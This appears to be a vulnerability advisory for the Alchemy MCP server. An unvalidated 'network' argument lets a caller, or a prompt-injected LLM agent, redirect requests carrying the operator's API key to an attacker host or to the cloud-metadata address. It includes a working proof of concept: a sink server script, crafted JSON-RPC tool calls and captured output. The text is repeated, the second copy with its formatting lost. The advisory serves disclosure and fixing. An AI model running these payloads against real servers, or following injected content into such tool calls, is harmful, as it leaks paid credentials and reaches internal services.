Summary
alchemy-mcp-server (alchemyplatform/alchemy-mcp-server, published as @alchemy/mcp-server) is the official Alchemy MCP server, exposing ~20 blockchain-data tools. Almost every tool takes a network argument that is declared as a free-form z.string() and interpolated directly into the request hostname: `https://${network}.g.alchemy.com/v2/${apiKey}`. Because the value is never validated against the supported-network list, a caller (or an LLM that has been prompt-injected to pass a crafted network) can break out of the .g.alchemy.com suffix and force the server to send its request — carrying the operator's Alchemy API key — to an arbitrary attacker-controlled host.
For example network = "127.0.0.1:8443/" yields https://127.0.0.1:8443/.g.alchemy.com/..., whose host is 127.0.0.1:8443; the .g.alchemy.com/... portion collapses to the URL path, which still contains the API key. This is a server-side request forgery primitive (reach internal/cloud-metadata endpoints) and a credential-disclosure primitive (the API key leaks to whatever host the attacker names).
Affected component
- Repository: https://github.com/alchemyplatform/alchemy-mcp-server
- npm package name:
@alchemy/mcp-server, version 0.3.0 at the time of report (per package.json); main entry dist/index.js, also exposed as a bin.
- Verified against commit
10455b2b686628b031800b45a0f0dcb7a4611940 on main (default branch HEAD). The repository has no git tags, so the commit hash is the only stable reference.
- API key source:
process.env.ALCHEMY_API_KEY (di/modules/clients.module.ts:17).
- Affected tools: every tool whose schema includes
network / networks as a z.string() — e.g. getNFTsForCollection, getNFTsForOwner, getContractMetadata, getFloorPrice, fetchTransfers, fetchTokenPriceByAddress, and ~15 more (api/registerTools.ts:141,230,257,353,508,565,596,632,660,675,…). All route through the same client factory, so the bug is uniform across the tool surface.
Root cause
The HTTP clients are built by interpolating the caller's network straight into the hostname (api/client-providers.ts):
get(network = "eth-mainnet"): AxiosInstance {
if (!this.cache.has(network)) {
const client = axios.create({
baseURL: `https://${network}.g.alchemy.com/v2/${this.apiKey}`, // <-- network in the host
headers: {
accept: "application/json",
"content-type": "application/json",
Authorization: `Bearer ${this.apiKey}`,
"x-alchemy-client-breadcrumb": "alchemy-mcp",
},
});
...
The NFT client (api/client-providers.ts:46) is identical: `https://${network}.g.alchemy.com/nft/v3/${this.apiKey}`.
The network value is taken verbatim from the tool arguments. Every tool schema declares it as an unconstrained string (api/registerTools.ts:353):
network: z.string().default("eth-mainnet").describe(NETWORK_DESC),
The repository does ship a SUPPORTED_NETWORKS table (api/networks.ts), but it is only used to populate the listSupportedNetworks tool's text output (api/registerTools.ts:103) — it is not used as an allow-list / z.enum to validate the inbound network. Nothing else checks the value before it lands in the hostname.
Because the interpolation is https://${network}.g.alchemy.com/..., a network containing a / (or #, ?, @) terminates the host early: network = "evil.example/" produces https://evil.example/.g.alchemy.com/... whose authority is evil.example. The trailing .g.alchemy.com/v2/<apiKey>/<endpoint> becomes path/query — and the API key is embedded in that path, while the JSON-RPC client additionally sends it in an Authorization: Bearer header. Either way the secret travels to the attacker's host.
Impact
The MCP server runs with the operator's ALCHEMY_API_KEY in its environment, typically on the developer's workstation. Under the standard prompt-injection threat model (an attacker delivers content the agent processes, which steers it into a tool call), an attacker who controls the network argument can:
- Exfiltrate the Alchemy API key. Setting
network to an attacker host sends a request whose path (/.g.alchemy.com/v2/<API_KEY>/…) — and, for JSON-RPC tools, whose Authorization: Bearer <API_KEY> header — discloses the key. The key is a paid credential whose theft enables quota abuse and billing fraud against the victim's Alchemy account.
- Perform server-side request forgery. The same primitive can target
http(s)-reachable internal services and the cloud metadata endpoint family (e.g. network = "169.254.169.254/" → https://169.254.169.254/.g.alchemy.com/...), using the server as a confused deputy inside the victim's network. (Response bodies for JSON-RPC tools are surfaced back to the caller, aiding blind/again-readable SSRF.)
- Reach the bug through ~20 tools, so a fix to any single tool would not close it; the shared client factory must be fixed.
This does not by itself yield code execution, but credential theft of a paid API key plus internal SSRF is a serious combination.
CWE / classification
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (the API key)
- CWE-20: Improper Input Validation (
network accepted as free-form z.string())
- Suggested severity: High (reliable SSRF to arbitrary hosts plus exfiltration of a paid API credential; requires a tool invocation with attacker-influenced
network).
Reproduction
The PoC below speaks raw JSON-RPC over the server's stdio transport, and stands up a local TLS sink on 127.0.0.1:8443 to play the role of the attacker host. The server is given a clearly-fake API key (POC-ALCHEMY-SECRET-KEY-abc123def456); after the tool call, that key appears in a request delivered to the sink — proving it left toward an attacker-chosen host. Verified end-to-end against HEAD of main (commit 10455b2).
NODE_TLS_REJECT_UNAUTHORIZED=0 is set only so the demo can use a self-signed cert on the sink; it is not required for the vulnerability (a real attacker would present a valid cert for their own domain). All paths are absolute.
Build and run
# 1. Clone and build the server
git clone https://github.com/alchemyplatform/alchemy-mcp-server /tmp/alchemy-poc
cd /tmp/alchemy-poc
npm install
npm run build # emits dist/index.js (a pre-existing type-only error on an unrelated
# `instructions` field does not prevent the JS from emitting/running)
# 2. Self-signed cert for the local sink, then save the two scripts below to these exact paths:
# /tmp/alchemy_sink.js — the attacker TLS sink
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/alchemy_sink.key -out /tmp/alchemy_sink.crt \
-days 2 -subj "/CN=127.0.0.1" -addext "subjectAltName=IP:127.0.0.1"
node /tmp/alchemy_sink.js & # listens on https://127.0.0.1:8443
# 3. Drive the server over stdio, passing a breakout `network`
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized"}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"getNFTsForCollection","arguments":{"network":"127.0.0.1:8443/","collectionSlug":"cryptopunks"}}}' \
| ALCHEMY_API_KEY="POC-ALCHEMY-SECRET-KEY-abc123def456" NODE_TLS_REJECT_UNAUTHORIZED=0 \
node /tmp/alchemy-poc/dist/index.js
# 4. Inspect what reached the attacker host
cat /tmp/alchemy_capture.log
Save as /tmp/alchemy_sink.js — the attacker TLS sink (logs the path + Authorization header of whatever arrives):
const https = require("https"), fs = require("fs");
const opts = { key: fs.readFileSync("/tmp/alchemy_sink.key"), cert: fs.readFileSync("/tmp/alchemy_sink.crt") };
const CAP = "/tmp/alchemy_capture.log";
fs.writeFileSync(CAP, "");
https.createServer(opts, (req, res) => {
fs.appendFileSync(CAP, `==== ${req.method} ${req.url}\n` +
`Host header: ${req.headers.host}\nAuthorization: ${req.headers.authorization}\n\n`);
res.writeHead(200, {"content-type": "application/json"}); res.end("{}");
}).listen(8443, "127.0.0.1", () => console.log("sink on https://127.0.0.1:8443"));
Observed result
==== GET /.g.alchemy.com/nft/v3/POC-ALCHEMY-SECRET-KEY-abc123def456/getNFTsForCollection?collectionSlug=cryptopunks&withMetadata=true
Host header: 127.0.0.1:8443
Authorization: undefined
The request reached 127.0.0.1:8443 — the attacker host, not alchemy.com — and its path contains the operator's API key verbatim (POC-ALCHEMY-SECRET-KEY-abc123def456). The Host header confirms the connection target was redirected by the network value. (For the JSON-RPC tools the Authorization: Bearer <key> header is also populated; the NFT REST client carries the key only in the path, which is already sufficient to disclose it.) Substituting network with 169.254.169.254/, an internal hostname, or any external domain redirects the request — and the key — accordingly.
Expected result
network should be validated against the known supported-network identifiers before being used to build a URL; any value not in that set should be rejected before any request is made.
Suggested fix
-
Constrain network to the supported set. Derive a flat list from SUPPORTED_NETWORKS and validate with z.enum (or an explicit membership check) in every tool schema, instead of z.string():
const NETWORK_IDS = flattenSupportedNetworkIds(SUPPORTED_NETWORKS); // ["eth-mainnet", ...]
const networkSchema = z.enum(NETWORK_IDS as [string, ...string[]]).default("eth-mainnet");
-
Defence-in-depth in the client factory: reject any network containing characters that are not valid in a DNS label ([^a-z0-9-]), so /, @, #, : etc. can never terminate the host early — even if a caller reaches get() directly.
-
Prefer building the URL so the network can only ever be a subdomain label (e.g. validate, then new URL(\https://${encodeURIComponent(network)}.g.alchemy.com`)and asserturl.hostname.endsWith(".g.alchemy.com")` before use).
Summary
alchemy-mcp-server(alchemyplatform/alchemy-mcp-server, published as@alchemy/mcp-server) is the official Alchemy MCP server, exposing ~20 blockchain-data tools. Almost every tool takes anetworkargument that is declared as a free-formz.string()and interpolated directly into the request hostname:`https://${network}.g.alchemy.com/v2/${apiKey}`. Because the value is never validated against the supported-network list, a caller (or an LLM that has been prompt-injected to pass a craftednetwork) can break out of the.g.alchemy.comsuffix and force the server to send its request — carrying the operator's Alchemy API key — to an arbitrary attacker-controlled host.For example
network = "127.0.0.1:8443/"yieldshttps://127.0.0.1:8443/.g.alchemy.com/..., whose host is127.0.0.1:8443; the.g.alchemy.com/...portion collapses to the URL path, which still contains the API key. This is a server-side request forgery primitive (reach internal/cloud-metadata endpoints) and a credential-disclosure primitive (the API key leaks to whatever host the attacker names).Affected component
@alchemy/mcp-server, version0.3.0at the time of report (perpackage.json); main entrydist/index.js, also exposed as abin.10455b2b686628b031800b45a0f0dcb7a4611940onmain(default branch HEAD). The repository has no git tags, so the commit hash is the only stable reference.process.env.ALCHEMY_API_KEY(di/modules/clients.module.ts:17).network/networksas az.string()— e.g.getNFTsForCollection,getNFTsForOwner,getContractMetadata,getFloorPrice,fetchTransfers,fetchTokenPriceByAddress, and ~15 more (api/registerTools.ts:141,230,257,353,508,565,596,632,660,675,…). All route through the same client factory, so the bug is uniform across the tool surface.Root cause
The HTTP clients are built by interpolating the caller's
networkstraight into the hostname (api/client-providers.ts):The NFT client (
api/client-providers.ts:46) is identical:`https://${network}.g.alchemy.com/nft/v3/${this.apiKey}`.The
networkvalue is taken verbatim from the tool arguments. Every tool schema declares it as an unconstrained string (api/registerTools.ts:353):The repository does ship a
SUPPORTED_NETWORKStable (api/networks.ts), but it is only used to populate thelistSupportedNetworkstool's text output (api/registerTools.ts:103) — it is not used as an allow-list /z.enumto validate the inboundnetwork. Nothing else checks the value before it lands in the hostname.Because the interpolation is
https://${network}.g.alchemy.com/..., anetworkcontaining a/(or#,?,@) terminates the host early:network = "evil.example/"produceshttps://evil.example/.g.alchemy.com/...whose authority isevil.example. The trailing.g.alchemy.com/v2/<apiKey>/<endpoint>becomes path/query — and the API key is embedded in that path, while the JSON-RPC client additionally sends it in anAuthorization: Bearerheader. Either way the secret travels to the attacker's host.Impact
The MCP server runs with the operator's
ALCHEMY_API_KEYin its environment, typically on the developer's workstation. Under the standard prompt-injection threat model (an attacker delivers content the agent processes, which steers it into a tool call), an attacker who controls thenetworkargument can:networkto an attacker host sends a request whose path (/.g.alchemy.com/v2/<API_KEY>/…) — and, for JSON-RPC tools, whoseAuthorization: Bearer <API_KEY>header — discloses the key. The key is a paid credential whose theft enables quota abuse and billing fraud against the victim's Alchemy account.http(s)-reachable internal services and the cloud metadata endpoint family (e.g.network = "169.254.169.254/"→https://169.254.169.254/.g.alchemy.com/...), using the server as a confused deputy inside the victim's network. (Response bodies for JSON-RPC tools are surfaced back to the caller, aiding blind/again-readable SSRF.)This does not by itself yield code execution, but credential theft of a paid API key plus internal SSRF is a serious combination.
CWE / classification
networkaccepted as free-formz.string())network).Reproduction
The PoC below speaks raw JSON-RPC over the server's stdio transport, and stands up a local TLS sink on
127.0.0.1:8443to play the role of the attacker host. The server is given a clearly-fake API key (POC-ALCHEMY-SECRET-KEY-abc123def456); after the tool call, that key appears in a request delivered to the sink — proving it left toward an attacker-chosen host. Verified end-to-end againstHEADofmain(commit10455b2).NODE_TLS_REJECT_UNAUTHORIZED=0is set only so the demo can use a self-signed cert on the sink; it is not required for the vulnerability (a real attacker would present a valid cert for their own domain). All paths are absolute.Build and run
Save as
/tmp/alchemy_sink.js— the attacker TLS sink (logs the path + Authorization header of whatever arrives):Observed result
The request reached
127.0.0.1:8443— the attacker host, notalchemy.com— and its path contains the operator's API key verbatim (POC-ALCHEMY-SECRET-KEY-abc123def456). TheHostheader confirms the connection target was redirected by thenetworkvalue. (For the JSON-RPC tools theAuthorization: Bearer <key>header is also populated; the NFT REST client carries the key only in the path, which is already sufficient to disclose it.) Substitutingnetworkwith169.254.169.254/, an internal hostname, or any external domain redirects the request — and the key — accordingly.Expected result
networkshould be validated against the known supported-network identifiers before being used to build a URL; any value not in that set should be rejected before any request is made.Suggested fix
Constrain
networkto the supported set. Derive a flat list fromSUPPORTED_NETWORKSand validate withz.enum(or an explicit membership check) in every tool schema, instead ofz.string():Defence-in-depth in the client factory: reject any
networkcontaining characters that are not valid in a DNS label ([^a-z0-9-]), so/,@,#,:etc. can never terminate the host early — even if a caller reachesget()directly.Prefer building the URL so the network can only ever be a subdomain label (e.g. validate, then
new URL(\https://${encodeURIComponent(network)}.g.alchemy.com`)and asserturl.hostname.endsWith(".g.alchemy.com")` before use).